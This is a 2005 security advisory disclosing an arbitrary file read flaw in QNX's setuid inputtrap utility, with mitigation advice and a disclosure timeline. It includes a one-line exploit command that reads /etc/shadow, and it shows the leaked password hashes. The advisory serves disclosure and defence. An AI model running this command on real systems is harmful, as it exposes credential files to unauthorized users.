QNX inputtrap from QNX RTOS versions 6.3 and 6.1.0 suffers from an arbitrary file read vulnerability.
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*** rfdslabs security advisory ***
Title: QNX inputtrap arbitrary file read vulnerability [RLSA_01-2005]
Versions: QNX RTOS 6.3, 6.1.0 (possibly others)
Vendor: https://www.qnx.com
Date: Feb 22 2005
Author: Julio Cesar Fort <julio *NO_SPAM* rfdslabs com br>
1. Introduction
inputtrap is a utility designed to detect and start input manager in QNX.
2. Details
inputtrap has a '-t' flag to specify the trap file to be read. Due to impro-
per permissions checking, we have administrative access to read files anywhere
in the disk in addition with 'start' flag.
The following simple command will show us /etc/shadow:
$ inputtrap -t /etc/shadow start
options: Unable to lookup root:21QjUKxP9gEJK:0:0:0 in modules table
options: Unable to lookup sandimas:91UzHxvt3x1n2:0:0:0 in modules table
PS: This "design error" problem is similar to an old Debian 1.1 DOSEmu vulnera-
bility, back in 1999. And it was, surely, erradicated in crucial programs
of most operating systems.
3. Solution
No official solution yet. We suggest remove inputtrap suid bit or change its
permissions to a trusted group of users until QNX doesn't release an official
patch.
4. Timeline
22 Feb 2005: Vulnerability detected (in a very very boring day, ill at home);
09 Jun 2005: Advisory sent to QNX;
10 Jun 2005: QNX contacted rfdslabs;
24 Aug 2005: Advisory sent to security mailing lists.
Thanks to Lucien Rocha, Carlos Barros (barrossecurity.com), George Fleury,
Rodrigo Costa (NERV), Despise, gotfault.org and everyone at rfdslabs.
www.rfdslabs.com.br - computers, sex, human mind, music and more
Recife, PE, Brazil